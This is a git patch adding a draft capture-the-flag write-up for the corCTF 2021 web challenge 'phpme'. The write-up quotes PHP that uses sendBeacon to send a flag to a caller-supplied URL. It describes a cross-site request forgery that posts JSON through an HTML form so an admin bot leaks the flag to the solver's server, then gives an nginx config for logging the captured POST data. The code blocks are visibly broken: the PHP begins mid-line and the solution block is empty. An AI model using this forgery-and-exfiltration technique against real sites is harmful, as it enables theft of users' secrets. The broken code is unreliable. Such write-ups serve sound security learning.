From b1db3242311abf4b449d6df839330f6ff9f0978f Mon Sep 17 00:00:00 2001
From: 5225225 <5225225@mailbox.org>
Date: Tue, 24 Aug 2021 18:13:57 +0100
Subject: [PATCH] 2021: corctf: draft work on phpme
---
2021/corctf/phpme/README.md | 94 +++++++++++++++++++++++++++++++++++++
1 file changed, 94 insertions(+)
create mode 100644 2021/corctf/phpme/README.md
diff --git a/2021/corctf/phpme/README.md b/2021/corctf/phpme/README.md
new file mode 100644
index 0000000..fe024c5
--- /dev/null
+++ b/2021/corctf/phpme/README.md
@@ -0,0 +1,94 @@
+# DRAFT : NOT FINISHED
+
+# phpme
+
+by [5225225](https://www.5snb.club) and haskal
+
+web / 469 pts / 64 solves
+
+> "This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
+
+Going to the URL given shows us this source code
+
+```php
+ \n";
+ echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
+ echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
+ echo "\n";
+ }
+ else {
+ echo "nope :)";
+ }
+ }
+ else {
+ echo "not json bro";
+ }
+ }
+ else {
+ echo "ur not admin!!!";
+ }
+ }
+ else {
+ show_source(__FILE__);
+ }
+?>
+```
+
+The challenge is to get the admin bot to visit a URL and make a POST request
+without user interaction, and then receive the flag back as a POST to the url
+given.
+
+The easiest way to do this is with a form. One issue is that form submission is
+submitting key/value pairs, but we need to submit valid JSON. [System Overlord
+- Posting JSON with an HTML
+Form](https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html)
+was useful here.
+
+The final solution was
+
+```html
+
+
+
+```
+
+with `` replaced with some URL that can receive POST requests.
+
+I (522) didn't have an easy setup to receive the values of post requests, so
+I got haskal to set up nginx to log the values of POST data, then look through
+their logs. There's most definitely cleaner ways to do this, but this worked!
+
+For future reference, the nginx directive to log POSTed data is
+
+```nginx
+log_format postdata $request_body;
+
+server {
+ location /flagzone {
+ access_log /var/log/nginx/flags.log postdata;
+ echo_read_request_body;
+ # ...
+ }
+ # ...
+}
+```
+
+Once you get the data back, you can simply submit the flag and you're done!